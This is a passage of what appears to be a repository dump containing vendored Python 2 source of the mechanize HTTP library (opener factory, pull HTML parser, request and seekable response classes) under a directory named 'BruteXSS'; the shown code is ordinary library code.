ResponseProcessingOpener(OpenerDirector):\n\n    def open(self, fullurl, data=None,\n             timeout=_sockettimeout._GLOBAL_DEFAULT_TIMEOUT):\n        def bound_open(fullurl, data=None,\n                       timeout=_sockettimeout._GLOBAL_DEFAULT_TIMEOUT):\n            return OpenerDirector.open(self, fullurl, data, timeout)\n        return wrapped_open(\n            bound_open, self.process_response_object, fullurl, data, timeout)\n\n    def process_response_object(self, response):\n        return response\n\n\nclass SeekableResponseOpener(ResponseProcessingOpener):\n    def process_response_object(self, response):\n        return _response.seek_wrapped_response(response)\n\n\ndef isclass(obj):\n    return isinstance(obj, (types.ClassType, type))\n\n\nclass OpenerFactory:\n    \"\"\"This class's interface is quite likely to change.\"\"\"\n\n    default_classes = [\n        # handlers\n        _urllib2_fork.ProxyHandler,\n        _urllib2_fork.UnknownHandler,\n        _urllib2_fork.HTTPHandler,\n        _urllib2_fork.HTTPDefaultErrorHandler,\n        _urllib2_fork.HTTPRedirectHandler,\n        _urllib2_fork.FTPHandler,\n        _urllib2_fork.FileHandler,\n        # processors\n        _urllib2_fork.HTTPCookieProcessor,\n        _urllib2_fork.HTTPErrorProcessor,\n        ]\n    if hasattr(httplib, 'HTTPS'):\n        default_classes.append(_urllib2_fork.HTTPSHandler)\n    handlers = []\n    replacement_handlers = []\n\n    def __init__(self, klass=OpenerDirector):\n        self.klass = klass\n\n    def build_opener(self, *handlers):\n        \"\"\"Create an opener object from a list of handlers and processors.\n\n        The opener will use several default handlers and processors, including\n        support for HTTP and FTP.\n\n        If any of the handlers passed as arguments are subclasses of the\n        default handlers, the default handlers will not be used.\n\n        \"\"\"\n        opener = self.klass()\n        default_classes = list(self.default_classes)\n        skip = set()\n        for klass in default_classes:\n            for check in handlers:\n                if isclass(check):\n                    if issubclass(check, klass):\n                        skip.add(klass)\n                elif isinstance(check, klass):\n                    skip.add(klass)\n        for klass in skip:\n            default_classes.remove(klass)\n\n        for klass in default_classes:\n            opener.add_handler(klass())\n        for h in handlers:\n            if isclass(h):\n                h = h()\n            opener.add_handler(h)\n\n        return opener\n\n\nbuild_opener = OpenerFactory().build_opener\n\n_opener = None\nurlopen_lock = _threading.Lock()\ndef urlopen(url, data=None, timeout=_sockettimeout._GLOBAL_DEFAULT_TIMEOUT):\n    global _opener\n    if _opener is None:\n        urlopen_lock.acquire()\n        try:\n            if _opener is None:\n                _opener = build_opener()\n        finally:\n            urlopen_lock.release()\n    return _opener.open(url, data, timeout)\n\ndef urlretrieve(url, filename=None, reporthook=None, data=None,\n                timeout=_sockettimeout._GLOBAL_DEFAULT_TIMEOUT):\n    global _opener\n    if _opener is None:\n        urlopen_lock.acquire()\n        try:\n            if _opener is None:\n                _opener = build_opener()\n        finally:\n            urlopen_lock.release()\n    return _opener.retrieve(url, filename, reporthook, data, timeout)\n\ndef install_opener(opener):\n    global _opener\n    _opener = opener\n"
  },
  {
    "path": "BruteXSS/mechanize/_pullparser.py",
    "content": "\"\"\"A simple \"pull API\" for HTML parsing, after Perl's HTML::TokeParser.\n\nExamples\n\nThis program extracts all links from a document.  It will print one\nline for each link, containing the URL and the textual description\nbetween the <A>...</A> tags:\n\nimport pullparser, sys\nf = file(sys.argv[1])\np = pullparser.PullParser(f)\nfor token in p.tags(\"a\"):\n    if token.type == \"endtag\": continue\n    url = dict(token.attrs).get(\"href\", \"-\")\n    text = p.get_compressed_text(endat=(\"endtag\", \"a\"))\n    print \"%s\\t%s\" % (url, text)\n\nThis program extracts the <TITLE> from the document:\n\nimport pullparser, sys\nf = file(sys.argv[1])\np = pullparser.PullParser(f)\nif p.get_tag(\"title\"):\n    title = p.get_compressed_text()\n    print \"Title: %s\" % title\n\n\nCopyright 2003-2006 John J. Lee <jjl@pobox.com>\nCopyright 1998-2001 Gisle Aas (original libwww-perl code)\n\nThis code is free software; you can redistribute it and/or modify it\nunder the terms of the BSD or ZPL 2.1 licenses.\n\n\"\"\"\n\nimport re, htmlentitydefs\nimport _sgmllib_copy as sgmllib\nimport HTMLParser\nfrom xml.sax import saxutils\n\nfrom _html import unescape, unescape_charref\n\n\nclass NoMoreTokensError(Exception): pass\n\nclass Token:\n    \"\"\"Represents an HTML tag, declaration, processing instruction etc.\n\n    Behaves as both a tuple-like object (ie. iterable) and has attributes\n    .type, .data and .attrs.\n\n    >>> t = Token(\"starttag\", \"a\", [(\"href\", \"http://www.python.org/\")])\n    >>> t == (\"starttag\", \"a\", [(\"href\", \"http://www.python.org/\")])\n    True\n    >>> (t.type, t.data) == (\"starttag\", \"a\")\n    True\n    >>> t.attrs == [(\"href\", \"http://www.python.org/\")]\n    True\n\n    Public attributes\n\n    type: one of \"starttag\", \"endtag\", \"startendtag\", \"charref\", \"entityref\",\n     \"data\", \"comment\", \"decl\", \"pi\", after the corresponding methods of\n     HTMLParser.HTMLParser\n    data: For a tag, the tag name; otherwise, the relevant data carried by the\n     tag, as a string\n    attrs: list of (name, value) pairs representing HTML attributes\n     (or None if token does not represent an opening tag)\n\n    \"\"\"\n    def __init__(self, type, data, attrs=None):\n        self.type = type\n        self.data = data\n        self.attrs = attrs\n    def __iter__(self):\n        return iter((self.type, self.data, self.attrs))\n    def __eq__(self, other):\n        type, data, attrs = other\n        if (self.type == type and\n            self.data == data and\n            self.attrs == attrs):\n            return True\n        else:\n            return False\n    def __ne__(self, other): return not self.__eq__(other)\n    def __repr__(self):\n        args = \", \".join(map(repr, [self.type, self.data, self.attrs]))\n        return self.__class__.__name__+\"(%s)\" % args\n\n    def __str__(self):\n        \"\"\"\n        >>> print Token(\"starttag\", \"br\")\n        <br>\n        >>> print Token(\"starttag\", \"a\",\n        ...     [(\"href\", \"http://www.python.org/\"), (\"alt\", '\"foo\"')])\n        <a href=\"http://www.python.org/\" alt='\"foo\"'>\n        >>> print Token(\"startendtag\", \"br\")\n        <br />\n        >>> print Token(\"startendtag\", \"br\", [(\"spam\", \"eggs\")])\n        <br spam=\"eggs\" />\n        >>> print Token(\"endtag\", \"p\")\n        </p>\n        >>> print Token(\"charref\", \"38\")\n        &#38;\n        >>> print Token(\"entityref\", \"amp\")\n        &amp;\n        >>> print Token(\"data\", \"foo\\\\nbar\")\n        foo\n        bar\n        >>> print Token(\"comment\", \"Life is a bowl\\\\nof cherries.\")\n        <!--Life is a bowl\n        of cherries.-->\n        >>> print Token(\"decl\", \"decl\")\n        <!decl>\n        >>> print Token(\"pi\", \"pi\")\n        <?pi>\n        \"\"\"\n        if self.attrs is not None:\n            attrs = \"\".join([\" %s=%s\" % (k, saxutils.quoteattr(v)) for\n                             k, v in self.attrs])\n        else:\n            attrs = \"\"\n        if self.type == \"starttag\":\n            return \"<%s%s>\" % (self.data, attrs)\n        elif self.type == \"startendtag\":\n            return \"<%s%s />\" % (self.data, attrs)\n        elif self.type == \"endtag\":\n            return \"</%s>\" % self.data\n        elif self.type == \"charref\":\n            return \"&#%s;\" % self.data\n        elif self.type == \"entityref\":\n            return \"&%s;\" % self.data\n        elif self.type == \"data\":\n            return self.data\n        elif self.type == \"comment\":\n            return \"<!--%s-->\" % self.data\n        elif self.type == \"decl\":\n            return \"<!%s>\" % self.data\n        elif self.type == \"pi\":\n            return \"<?%s>\" % self.data\n        assert False\n\n\ndef iter_until_exception(fn, exception, *args, **kwds):\n    while 1:\n        try:\n            yield fn(*args, **kwds)\n        except exception:\n            raise StopIteration\n\n\nclass _AbstractParser:\n    chunk = 1024\n    compress_re = re.compile(r\"\\s+\")\n    def __init__(self, fh, textify={\"img\": \"alt\", \"applet\": \"alt\"},\n                 encoding=\"ascii\", entitydefs=None):\n        \"\"\"\n        fh: file-like object (only a .read() method is required) from which to\n         read HTML to be parsed\n        textify: mapping used by .get_text() and .get_compressed_text() methods\n         to represent opening tags as text\n        encoding: encoding used to encode numeric character references by\n         .get_text() and .get_compressed_text() (\"ascii\" by default)\n\n        entitydefs: mapping like {\"amp\": \"&\", ...} containing HTML entity\n         definitions (a sensible default is used).  This is used to unescape\n         entities in .get_text() (and .get_compressed_text()) and attribute\n         values.  If the encoding can not represent the character, the entity\n         reference is left unescaped.  Note that entity references (both\n         numeric - e.g. &#123; or &#xabc; - and non-numeric - e.g. &amp;) are\n         unescaped in attribute values and the return value of .get_text(), but\n         not in data outside of tags.  Instead, entity references outside of\n         tags are represented as tokens.  This is a bit odd, it's true :-/\n\n        If the element name of an opening tag matches a key in the textify\n        mapping then that tag is converted to text.  The corresponding value is\n        used to specify which tag attribute to obtain the text from.  textify\n        maps from element names to either:\n\n          - an HTML attribute name, in which case the HTML attribute value is\n            used as its text value along with the element name in square\n            brackets (e.g. \"alt text goes here[IMG]\", or, if the alt attribute\n            were missing, just \"[IMG]\")\n          - a callable object (e.g. a function) which takes a Token and returns\n            the string to be used as its text value\n\n        If textify has no key for an element name, nothing is substituted for\n        the opening tag.\n\n        Public attributes:\n\n        encoding and textify: see above\n\n        \"\"\"\n        self._fh = fh\n        self._tokenstack = []  # FIFO\n        self.textify = textify\n        self.encoding = encoding\n        if entitydefs is None:\n            entitydefs = htmlentitydefs.name2codepoint\n        self._entitydefs = entitydefs\n\n    def __iter__(self): return self\n\n    def tags(self, *names):\n        return iter_until_exception(self.get_tag, NoMoreTokensError, *names)\n\n    def tokens(self, *tokentypes):\n        return iter_until_exception(self.get_token, NoMoreTokensError,\n                                    *tokentypes)\n\n    def next(self):\n        try:\n            return self.get_token()\n        except NoMoreTokensError:\n            raise StopIteration()\n\n    def get_token(self, *tokentypes):\n        \"\"\"Pop the next Token object from the stack of parsed tokens.\n\n        If arguments are given, they are taken to be token types in which the\n        caller is interested: tokens representing other elements will be\n        skipped.  Element names must be given in lower case.\n\n        Raises NoMoreTokensError.\n\n        \"\"\"\n        while 1:\n            while self._tokenstack:\n                token = self._tokenstack.pop(0)\n                if tokentypes:\n                    if token.type in tokentypes:\n                        return token\n                else:\n                    return token\n            data = self._fh.read(self.chunk)\n            if not data:\n                raise NoMoreTokensError()\n            self.feed(data)\n\n    def unget_token(self, token):\n        \"\"\"Push a Token back onto the stack.\"\"\"\n        self._tokenstack.insert(0, token)\n\n    def get_tag(self, *names):\n        \"\"\"Return the next Token that represents an opening or closing tag.\n\n        If arguments are given, they are taken to be element names in which the\n        caller is interested: tags representing other elements will be skipped.\n        Element names must be given in lower case.\n\n        Raises NoMoreTokensError.\n\n        \"\"\"\n        while 1:\n            tok = self.get_token()\n            if tok.type not in [\"starttag\", \"endtag\", \"startendtag\"]:\n                continue\n            if names:\n                if tok.data in names:\n                    return tok\n            else:\n                return tok\n\n    def get_text(self, endat=None):\n        \"\"\"Get some text.\n\n        endat: stop reading text at this tag (the tag is included in the\n         returned text); endtag is a tuple (type, name) where type is\n         \"starttag\", \"endtag\" or \"startendtag\", and name is the element name of\n         the tag (element names must be given in lower case)\n\n        If endat is not given, .get_text() will stop at the next opening or\n        closing tag, or when there are no more tokens (no exception is raised).\n        Note that .get_text() includes the text representation (if any) of the\n        opening tag, but pushes the opening tag back onto the stack.  As a\n        result, if you want to call .get_text() again, you need to call\n        .get_tag() first (unless you want an empty string returned when you\n        next call .get_text()).\n\n        Entity references are translated using the value of the entitydefs\n        constructor argument (a mapping from names to characters like that\n        provided by the standard module htmlentitydefs).  Named entity\n        references that are not in this mapping are left unchanged.\n\n        The textify attribute is used to translate opening tags into text: see\n        the class docstring.\n\n        \"\"\"\n        text = []\n        tok = None\n        while 1:\n            try:\n                tok = self.get_token()\n            except NoMoreTokensError:\n                # unget last token (not the one we just failed to get)\n                if tok: self.unget_token(tok)\n                break\n            if tok.type == \"data\":\n                text.append(tok.data)\n            elif tok.type == \"entityref\":\n                t = unescape(\"&%s;\"%tok.data, self._entitydefs, self.encoding)\n                text.append(t)\n            elif tok.type == \"charref\":\n                t = unescape_charref(tok.data, self.encoding)\n                text.append(t)\n            elif tok.type in [\"starttag\", \"endtag\", \"startendtag\"]:\n                tag_name = tok.data\n                if tok.type in [\"starttag\", \"startendtag\"]:\n                    alt = self.textify.get(tag_name)\n                    if alt is not None:\n                        if callable(alt):\n                            text.append(alt(tok))\n                        elif tok.attrs is not None:\n                            for k, v in tok.attrs:\n                                if k == alt:\n                                    text.append(v)\n                            text.append(\"[%s]\" % tag_name.upper())\n                if endat is None or endat == (tok.type, tag_name):\n                    self.unget_token(tok)\n                    break\n        return \"\".join(text)\n\n    def get_compressed_text(self, *args, **kwds):\n        \"\"\"\n        As .get_text(), but collapses each group of contiguous whitespace to a\n        single space character, and removes all initial and trailing\n        whitespace.\n\n        \"\"\"\n        text = self.get_text(*args, **kwds)\n        text = text.strip()\n        return self.compress_re.sub(\" \", text)\n\n    def handle_startendtag(self, tag, attrs):\n        self._tokenstack.append(Token(\"startendtag\", tag, attrs))\n    def handle_starttag(self, tag, attrs):\n        self._tokenstack.append(Token(\"starttag\", tag, attrs))\n    def handle_endtag(self, tag):\n        self._tokenstack.append(Token(\"endtag\", tag))\n    def handle_charref(self, name):\n        self._tokenstack.append(Token(\"charref\", name))\n    def handle_entityref(self, name):\n        self._tokenstack.append(Token(\"entityref\", name))\n    def handle_data(self, data):\n        self._tokenstack.append(Token(\"data\", data))\n    def handle_comment(self, data):\n        self._tokenstack.append(Token(\"comment\", data))\n    def handle_decl(self, decl):\n        self._tokenstack.append(Token(\"decl\", decl))\n    def unknown_decl(self, data):\n        # XXX should this call self.error instead?\n        #self.error(\"unknown declaration: \" + `data`)\n        self._tokenstack.append(Token(\"decl\", data))\n    def handle_pi(self, data):\n        self._tokenstack.append(Token(\"pi\", data))\n\n    def unescape_attr(self, name):\n        return unescape(name, self._entitydefs, self.encoding)\n    def unescape_attrs(self, attrs):\n        escaped_attrs = []\n        for key, val in attrs:\n            escaped_attrs.append((key, self.unescape_attr(val)))\n        return escaped_attrs\n\nclass PullParser(_AbstractParser, HTMLParser.HTMLParser):\n    def __init__(self, *args, **kwds):\n        HTMLParser.HTMLParser.__init__(self)\n        _AbstractParser.__init__(self, *args, **kwds)\n    def unescape(self, name):\n        # Use the entitydefs passed into constructor, not\n        # HTMLParser.HTMLParser's entitydefs.\n        return self.unescape_attr(name)\n\nclass TolerantPullParser(_AbstractParser, sgmllib.SGMLParser):\n    def __init__(self, *args, **kwds):\n        sgmllib.SGMLParser.__init__(self)\n        _AbstractParser.__init__(self, *args, **kwds)\n    def unknown_starttag(self, tag, attrs):\n        attrs = self.unescape_attrs(attrs)\n        self._tokenstack.append(Token(\"starttag\", tag, attrs))\n    def unknown_endtag(self, tag):\n        self._tokenstack.append(Token(\"endtag\", tag))\n\n\ndef _test():\n   import doctest, _pullparser\n   return doctest.testmod(_pullparser)\n\nif __name__ == \"__main__\":\n   _test()\n"
  },
  {
    "path": "BruteXSS/mechanize/_request.py",
    "content": "\"\"\"Integration with Python standard library module urllib2: Request class.\n\nCopyright 2004-2006 John J Lee <jjl@pobox.com>\n\nThis code is free software; you can redistribute it and/or modify it\nunder the terms of the BSD or ZPL 2.1 licenses (see the file\nCOPYING.txt included with the distribution).\n\n\"\"\"\n\nimport logging\n\nimport _rfc3986\nimport _sockettimeout\nimport _urllib2_fork\n\nwarn = logging.getLogger(\"mechanize\").warning\n\n\nclass Request(_urllib2_fork.Request):\n    def __init__(self, url, data=None, headers={},\n                 origin_req_host=None, unverifiable=False, visit=None,\n                 timeout=_sockettimeout._GLOBAL_DEFAULT_TIMEOUT):\n        # In mechanize 0.2, the interpretation of a unicode url argument will\n        # change: A unicode url argument will be interpreted as an IRI, and a\n        # bytestring as a URI. For now, we accept unicode or bytestring.  We\n        # don't insist that the value is always a URI (specifically, must only\n        # contain characters which are legal), because that might break working\n        # code (who knows what bytes some servers want to see, especially with\n        # browser plugins for internationalised URIs).\n        if not _rfc3986.is_clean_uri(url):\n            warn(\"url argument is not a URI \"\n                 \"(contains illegal characters) %r\" % url)\n        _urllib2_fork.Request.__init__(self, url, data, headers)\n        self.selector = None\n        self.visit = visit\n        self.timeout = timeout\n\n    def __str__(self):\n        return \"<Request for %s>\" % self.get_full_url()\n"
  },
  {
    "path": "BruteXSS/mechanize/_response.py",
    "content": "\"\"\"Response classes.\n\nThe seek_wrapper code is not used if you're using UserAgent with\n.set_seekable_responses(False), or if you're using the urllib2-level interface\nHTTPEquivProcessor.  Class closeable_response is instantiated by some handlers\n(AbstractHTTPHandler), but the closeable_response interface is only depended\nupon by Browser-level code.  Function upgrade_response is only used if you're\nusing Browser.\n\n\nCopyright 2006 John J. Lee <jjl@pobox.com>\n\nThis code is free software; you can redistribute it and/or modify it\nunder the terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt\nincluded with the distribution).\n\n\"\"\"\n\nimport copy, mimetools, urllib2\nfrom cStringIO import StringIO\n\n\ndef len_of_seekable(file_):\n    # this function exists because evaluation of len(file_.getvalue()) on every\n    # .read() from seek_wrapper would be O(N**2) in number of .read()s\n    pos = file_.tell()\n    file_.seek(0, 2)  # to end\n    try:\n        return file_.tell()\n    finally:\n        file_.seek(pos)\n\n\n# XXX Andrew Dalke kindly sent me a similar class in response to my request on\n# comp.lang.python, which I then proceeded to lose.  I wrote this class\n# instead, but I think he's released his code publicly since, could pinch the\n# tests from it, at least...\n\n# For testing seek_wrapper invariant (note that\n# test_urllib2.HandlerTest.test_seekable is expected to fail when this\n# invariant checking is turned on).  The invariant checking is done by module\n# ipdc, which is available here:\n# http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/436834\n## from ipdbc import ContractBase\n## class seek_wrapper(ContractBase):\nclass seek_wrapper:\n    \"\"\"Adds a seek method to a file object.\n\n    This is only designed for seeking on readonly file-like objects.\n\n    Wrapped file-like object must have a read method.  The readline method is\n    only supported if that method is present on the wrapped object.  The\n    readlines method is always supported.  xreadlines and iteration are\n    supported only for Python 2.2 and above.\n\n    Public attributes:\n\n    wrapped: the wrapped file object\n    is_closed: true iff .close() has been called\n\n    WARNING: All other attributes of the wrapped object (ie. those that are not\n    one of wrapped, read, readline, readlines, xreadlines, __iter__ and next)\n    are passed through unaltered, which may or may not make sense for your\n    particular file object.\n\n    \"\"\"\n    # General strategy is to check that cache is full enough, then delegate to\n    # the cache (self.__cache, which is a cStringIO.StringIO instance).  A seek\n    # position (self.__pos) is maintained independently of the cache, in order\n    # that a single cache may be shared between multiple seek_wrapper objects.\n    # Copying using module copy shares the cache in this way.\n\n    def __init__(self, wrapped):\n        self.wrapped = wrapped\n        self.__read_complete_state = [False]\n        self.__is_closed_state = [False]\n        self.__have_readline = hasattr(self.wrapped, \"readline\")\n        self.__cache = StringIO()\n        self.__pos = 0  # seek position\n\n    def invariant(self):\n        # The end of the cache is always at the same place as the end of the\n        # wrapped file (though the .tell() method is not required to be present\n        # on wrapped file).\n        return self.wrapped.tell() == len(self.__cache.getvalue())\n\n    def close(self):\n        self.wrapped.close()\n        self.is_closed = True\n\n    def __getattr__(self, name):\n        if name == \"is_closed\":\n            return self.__is_closed_state[0]\n        elif name == \"read_complete\":\n            return self.__read_complete_state[0]\n\n        wrapped = self.__dict__.get(\"wrapped\")\n        if wrapped:\n            return getattr(wrapped, name)\n\n        return getattr(self.__class__, name)\n\n    def __setattr__(self, name, value):\n        if name == \"is_closed\":\n            self.__is_closed_state[0] = bool(value)\n        elif name == \"read_complete\":\n            if not self.is_closed:\n                self.__read_complete_state[0] = bool(value)\n        else:\n            self.__dict__[name] = value\n\n    def seek(self, offset, whence=0):\n        assert whence in [0,1,2]\n\n        # how much data, if any, do we need to read?\n        if whence == 2:  # 2: relative to end of *wrapped* file\n            if offset < 0: raise ValueError(\"negative seek offset\")\n            # since we don't know yet where the end of that file is, we must\n            # read everything\n            to_read = None\n        else:\n            if whence == 0:  # 0: absolute\n                if offset < 0: raise ValueError(\"negative seek offset\")\n                dest = offset\n            else:  # 1: relative to current position\n                pos = self.__pos\n                if pos < offset:\n                    raise ValueError(\"seek to before start of file\")\n                dest = pos + offset\n            end = len_of_seekable(self.__cache)\n            to_read = dest - end\n            if to_read < 0:\n                to_read = 0\n\n        if to_read != 0:\n            self.__cache.seek(0, 2)\n            if to_read is None:\n                assert whence == 2\n                self.__cache.write(self.wrapped.read())\n                self.read_complete = True\n                self.__pos = self.__cache.tell() - offset\n            else:\n                data = self.wrapped.read(to_read)\n                if not data:\n                    self.read_complete = True\n                else:\n                    self.__cache.write(data)\n                # Don't raise an exception even if we've seek()ed past the end\n                # of .wrapped, since fseek() doesn't complain in that case.\n                # Also like fseek(), pretend we have seek()ed past the end,\n                # i.e. not:\n                #self.__pos = self.__cache.tell()\n                # but rather:\n                self.__pos = dest\n        else:\n            self.__pos = dest\n\n    def tell(self):\n        return self.__pos\n\n    def __copy__(self):\n        cpy = self.__class__(self.wrapped)\n        cpy.__cache = self.__cache\n        cpy.__read_complete_state = self.__read_complete_state\n        cpy.__is_closed_state = self.__is_closed_state\n        return cpy\n\n    def get_data(self):\n        pos = self.__pos\n        try:\n            self.seek(0)\n            return self.read(-1)\n        finally:\n            self.__pos = pos\n\n    def read(self, size=-1):\n        pos = self.__pos\n        end = len_of_seekable(self.__cache)\n        available = end - pos\n\n        # enough data already cached?\n        if size <= available and size != -1:\n            self.__cache.seek(pos)\n            self.__pos = pos+size\n            return self.__cache.read(size)\n\n        # no, so read sufficient data from wrapped file and cache it\n        self.__cache.seek(0, 2)\n        if size == -1:\n            self.__cache.write(self.wrapped.read())\n            self.read_complete = True\n        else:\n            to_read = size - available\n            assert to_read > 0\n            data = self.wrapped.read(to_read)\n            if not data:\n                self.read_complete = True\n            else:\n                self.__cache.write(data)\n        self.__cache.seek(pos)\n\n        data = self.__cache.read(size)\n        self.__pos = self.__cache.tell()\n        assert self.__pos == pos + len(data)\n        return data\n\n    def readline(self, size=-1):\n        if not self.__have_readline:\n            raise NotImplementedError(\"no readline method on wrapped object\")\n\n        # line we're about to read might not be complete in the cache, so\n        # read another line first\n        pos = self.__pos\n        self.__cache.seek(0, 2)\n        data = self.wrapped.readline()\n        if not data:\n            self.read_complete = True\n        else:\n            self.__cache.write(data)\n        self.__cache.seek(pos)\n\n        data = self.__cache.readline()\n        if size != -1:\n            r = data[:size]\n            self.__pos = pos+size\n        else:\n            r = data\n            self.__pos = pos+len(data)\n        return r\n\n    def readlines(self, sizehint=-1):\n        pos = self.__pos\n        self.__cache.seek(0, 2)\n        self.__cache.write(self.wrapped.read())\n        self.read_complete = True\n        self.__cache.seek(pos)\n        data = self.__cache.readlines(sizehint)\n        self.__pos = self.__cache.tell()\n        return data\n\n    def __iter__(self): return self\n    def next(self):\n        line = self.readline()\n        if line == \"\": raise StopIteration\n        return line\n\n    xreadlines = __iter__\n\n    def __repr__(self):\n        return (\"<%s at %s whose wrapped object = %r>\" %\n                (self.__class__.__name__, hex(abs(id(self))), self.wrapped))\n\n\nclass response_seek_wrapper(seek_wrapper):\n\n    \"\"\"\n    Supports copying response objects and setting response body data.\n\n    \"\"\"\n\n    def __init__(self, wrapped):\n        seek_wrapper.__init__(self, wrapped)\n        self._headers = self.wrapped.info()\n\n    def __copy__(self):\n        cpy = seek_wrapper.__copy__(self)\n        # copy headers from delegate\n        cpy._headers = copy.copy(self.info())\n        return cpy\n\n    # Note that .info() and .geturl() (the only two urllib2 response methods\n    # that are not implemented by seek_wrapper) must be here explicitly rather\n    # than by seek_wrapper's __getattr__ delegation) so that the nasty\n    # dynamically-created HTTPError classes in get_seek_wrapper_class() get the\n    # wrapped object's implementation, and not HTTPError's.\n\n    def info(self):\n        return self._headers\n\n    def geturl(self):\n        return self.wrapped.geturl()\n\n    def set_data(self, data):\n        self.seek(0)\n        self.read()\n        self.close()\n        cache = self._seek_wrapper__cache = StringIO()\n        cache.write(data)\n        self.seek(0)\n\n\nclass eoffile:\n    # file-like object that always claims to be at end-of-file...\n    def read(self, size=-1): return \"\"\n    def readline(self, size=-1): return \"\"\n    def __iter__(self): return self\n    def next(self): return \"\"\n    def close(self): pass\n\nclass eofresponse(eoffile):\n    def __init__(self, url, headers, code, msg):\n        self._url = url\n        self._headers = headers\n        self.code = code\n        self.msg = msg\n    def geturl(self): return self._url\n    def info(self): return self._headers\n\n\nclass closeable_response:\n    \"\"\"Avoids unnecessarily clobbering urllib.addinfourl methods on .close().\n\n    Only supports responses returned by mechanize.HTTPHandler.\n\n    After .close(), the following methods are supported:\n\n    .read()\n    .readline()\n    .info()\n    .geturl()\n    .__iter__()\n    .next()\n    .close()\n\n    and the following attributes are supported:\n\n    .code\n    .msg\n\n    Also supports pickling (but the stdlib currently does something to prevent\n    it: http://python.org/sf/1144636).\n\n    \"\"\"\n    # presence of this attr indicates is useable after .close()\n    closeable_response = None\n\n    def __init__(self, fp, headers, url, code, msg):\n        self._set_fp(fp)\n        self._headers = headers\n        self._url = url\n        self.code = code\n        self.msg = msg\n\n    def _set_fp(self, fp):\n        self.fp = fp\n        self.read = self.fp.read\n        self.readline = self.fp.readline\n        if hasattr(self.fp, \"readlines\"): self.readlines = self.fp.readlines\n        if hasattr(self.fp, \"fileno\"):\n            self.fileno = self.fp.fileno\n        else:\n            self.fileno = lambda: None\n        self.__iter__ = self.fp.__iter__\n        self.next = self.fp.next\n\n    def __repr__(self):\n        return '<%s at %s whose fp = %r>' % (\n            self.__class__.__name__, hex(abs(id(self))), self.fp)\n\n    def info(self):\n        return self._headers\n\n    def geturl(self):\n        return self._url\n\n    def close(self):\n        wrapped = self.fp\n        wrapped.close()\n        new_wrapped = eofresponse(\n            self._url, self._headers, self.code, self.msg)\n        self._set_fp(new_wrapped)\n\n    def __getstate__(self):\n        # There are three obvious options here:\n        # 1. truncate\n        # 2. read to end\n        # 3. close socket, pickle state including read position, then open\n        #    again on unpickle and use Range header\n        # XXXX um, 4. refuse to pickle unless .close()d.  This is better,\n        #  actually (\"errors should never pass silently\").  Pickling doesn't\n        #  work anyway ATM, because of http://python.org/sf/1144636 so fix\n        #  this later\n\n        # 2 breaks pickle protocol, because one expects the original object\n        # to be left unscathed by pickling.  3 is too complicated and\n        # surprising (and too much work ;-) to happen in a sane __getstate__.\n        # So we do 1.\n\n        state = self.__dict__.copy()\n        new_wrapped = eofresponse(\n            self._url, self._headers, self.code, self.msg)\n        state[\"wrapped\"] = new_wrapped\n        return state\n\ndef test_response(data='test data', headers=[],\n                  url=\"http://example.com/\", code=200, msg=\"OK\"):\n    return make_response(data, headers, url, code, msg)\n\ndef test_html_response(data='test data', headers=[],\n                       url=\"http://example.com/\", code=200, msg=\"OK\"):\n    headers += [(\"Content-type\", \"text/html\")]\n    return make_response(data, headers, url, code, msg)\n\ndef make_response(data, headers, url, code, msg):\n    \"\"\"Convenient factory for objects implementing response interface.\n\n    data: string containing response body data\n    headers: sequence of (name, value) pairs\n    url: URL of response\n    code: integer response code (e.g. 200)\n    msg: string response code message (e.g. \"OK\")\n\n    \"\"\"\n    mime_headers = make_headers(headers)\n    r = closeable_response(StringIO(data), mime_headers, url, code, msg)\n    return response_seek_wrapper(r)\n\n\ndef make_headers(headers):\n    \"\"\"\n    headers: sequence of (name, value) pairs\n    \"\"\"\n    hdr_text = []\n    for name_value in headers:\n        hdr_text.append(\"%s: %s\" % name_value)\n    return mimetools.Message(StringIO(\"\\n\".join(hdr_text)))\n\n\n# Rest of this module is especially horrible, but needed, at least until fork\n# urllib2.  Even then, may want to preseve urllib2 compatibility.\n\ndef get_seek_wrapper_class(response):\n    # in order to wrap response objects that are also exceptions, we must\n    # dynamically subclass the exception :-(((\n    if (isinstance(response, urllib2.HTTPError) and\n        not hasattr(response, \"seek\")):\n        if response.__class__.__module__ == \"__builtin__\":\n            exc_class_name = response.__class__.__name__\n        else:\n            exc_class_name = \"%s.%s\" % (\n                response.__class__.__module__, response.__class__.__name__)\n\n        class httperror_seek_wrapper(response_seek_wrapper, response.__class__):\n            # this only derives from HTTPError in order to be a subclass --\n            # the HTTPError behaviour comes from delegation\n\n            _exc_class_name = exc_class_name\n\n            def __init__(self, wrapped):\n                response_seek_wrapper.__init__(self, wrapped)\n                # be compatible with undocumented HTTPError attributes :-(\n                self.hdrs = wrapped.info()\n                self.filename = wrapped.geturl()\n\n            def __repr__(self):\n                return (\n                    \"<%s (%s instance) at %s \"\n                    \"whose wrapped object = %r>\" % (\n                    self.__class__.__name__, self._exc_class_name,\n                    hex(abs(id(self))), self.wrapped)\n                    )\n        wrapper_class = httperror_seek_wrapper\n    else:\n        wrapper_class = response_seek_wrapper\n    return wrapper_class\n\ndef seek_wrapped_response(response):\n    \"\"\"Return a copy of response that supports seekable response interface.\n\n    Accepts responses from both mechanize and urllib2 handlers.\n\n    Copes with both ordinary response instances and HTTPError instances (which\n    can't be simply wrapped due to the requirement of preserving the exception\n    base class).\n    \"\"\"\n    if not hasattr(response, \"seek\"):\n        wrapper_class = get_seek_wrapper_class(response)\n        response = wrapper_class(response)\n    assert hasattr(response, \"get_data\")\n    return response\n\ndef upgrade_response(response):\n    \"\"\"Return a copy of response that supports Browser response interface.\n\n    Browser response interface is that of \"seekable responses\"\n    (response_seek_wrapper), plus the requirement that responses must be\n    useable after .close() (closeable_response).\n\n    Accepts responses from both mechanize and urllib2 handlers.\n\n    Copes with both ordinary response instances and HTTPError instances (which\n    can't be simply wrapped due to the requirement of preserving the exception\n    base class).\n    \"\"\"\n    wrapper_class = get_seek_wrapper_class(response)\n    if hasattr(response, \"closeable_response\"):\n        if not hasattr(response, \"seek\"):\n            response = wrapper_class(response)\n        assert hasattr(response, \"get_data\")\n        return copy.copy(response)\n\n    # a urllib2 handler constructed the response, i.e. the response is an\n    # urllib.addinfourl or a urllib2.HTTPError, instead of a\n    # _Util.closeable_response as returned by e.g. mechanize.HTTPHandler\n    try:\n        code = response.code\n    except AttributeError:\n        code = None\n    try:\n        msg = response.msg\n    except AttributeError:\n        msg = None\n\n    # may have already-.read() data from .seek() cache\n    data = None\n    get_data = getattr(response, 